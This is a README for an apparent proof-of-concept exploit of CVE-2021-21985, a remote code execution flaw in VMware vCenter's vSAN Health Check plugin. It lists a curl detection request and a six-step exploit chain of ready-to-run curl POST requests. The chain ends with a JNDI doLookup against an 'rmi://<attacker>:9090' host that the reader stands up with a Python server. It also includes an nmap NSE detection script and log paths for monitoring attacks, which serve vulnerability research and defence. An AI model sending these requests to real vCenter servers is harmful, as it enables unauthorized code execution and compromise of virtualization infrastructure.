alt3kx/cve-2021-21985_pocPoC exploit and NSE scanner for CVE-2021-21985, a vCenter Server RCE vulnerability in the vSAN Health Check plugin, with manual exploitation steps and detection script.
CLASS/METHOD(s) available, a little sample for PoC purposes: com.vmware.vsan.client.services.capability.VsanCapabilityProvider
[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]
The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
This manual inspec looks the existence of CVE-2021-21985 based on CLASS/METHOD(s) available by default on vCenter e.g. "/ui/h5-vsan/rest/*" sending a POST request and looking in response body (200) JSON data.
Manual inspection:
# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'
Credits: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
Steps to reproduce:
Start your python server to receive the connection from targeted system (vCenter) e.g
# python3 -m http.server 9090
Step 1: set TargetObject to null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'
Step 2: setStaticMethod to payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'
Step 3: setTargetMethod to doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'
Step 4: setArguments with payload args
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'
Step 5: initial payload class and methods
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'
Step 6: trigger method invoke, after thiis POST await some seconds and see your pytthon server log
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis
This script looks the existence of CVE-2021-21985 based on CLASS/METHOD(s) available by default on vCenter e.g. "/ui/h5-vsan/rest/*" sending a POST request and looking in response body (200) JSON data.
# nmap -p443 --script CVE-2021-21985.nse <target>
---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT STATE SERVICE
-- 443/tcp open https
-- | CVE-2021-21985:
-- | VULNERABLE:
-- | vCenter 6.5-7.0 RCE
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2021-21985
-- | The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input
-- | validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- | Disclosure date: 2021-05-28
-- | References:
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
PATH logs vCenter
# /var/log/vmware/vsan-health/
Monitoring the attacks
# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
Alex Hernandez aka (@_alt3kx_)